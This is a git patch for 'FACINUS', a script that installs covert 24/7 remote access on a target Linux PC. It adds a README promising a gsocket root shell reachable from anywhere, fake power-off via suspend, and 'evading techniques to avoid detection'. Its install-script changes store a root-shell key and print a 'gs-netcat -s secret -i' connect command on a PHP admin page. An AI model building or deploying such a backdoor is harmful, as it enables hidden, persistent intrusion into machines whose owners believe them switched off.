From 403f8834805624f2c16f1021b93f409f55c1a824 Mon Sep 17 00:00:00 2001 From: Amoelle Date: Thu, 3 Apr 2025 10:36:25 +0300 Subject: [PATCH] added readme --- README.md | 11 +++++++++++ install | 4 ++-- 2 files changed, 13 insertions(+), 2 deletions(-) create mode 100644 README.md diff --git a/README.md b/README.md new file mode 100644 index 0000000..7a6a62e --- /dev/null +++ b/README.md @@ -0,0 +1,11 @@ +## FACINUS - get a 24/7 access to physical pc with gsocket that acts as turned off + +This script is setting up an Apache server on your Arch based linux distro and targets Ubuntu/Debian. + +## Features +- **SSH**: Set up SSH server on target to quickly access from internal network. +- **WOL**: Check for wake-on-lan availability, to be able to wake any other pc's on network which ran the script. +- **24/7**: Be in suspend mode when trying to power off. +- **Log**: Logs everything on your server. +- **gsocket**: Set up a gsocket service on target to access the server from anywhere. +- **Secure**: Simple evading techniques to avoid detection. diff --git a/install b/install index b4d7ab5..eaaea54 100755 --- a/install +++ b/install @@ -396,7 +396,7 @@ setup_gsocket() { if [ -n "$SECRET" ]; then echo "Secret extracted: [HIDDEN]" >> "$LOG_FILE" - echo "$SECRET" > "$TEMP_DIR/gsocket_secret.txt" + echo "$SECRET" | sort -u > "$TEMP_DIR/gsocket_secret.txt" log_cmd "sudo mkdir -p /etc/gsocket" "Creating gsocket configuration directory" "$LOG_FILE" log_cmd "echo '$SECRET' | sudo tee /etc/gsocket/root-shell-key.txt > /dev/null" "Saving gsocket secret key" "$LOG_FILE" @@ -837,7 +837,7 @@ if ($authenticated && !isset($_COOKIE['admin_auth'])) { echo "

$type Secret for $hostname

"; echo "
$secret
"; echo "

To connect using gsocket:

"; - echo "
gs-netcat -s \"$secret\"
"; + echo "
gs-netcat -s \"$secret\" -i
"; } } ?>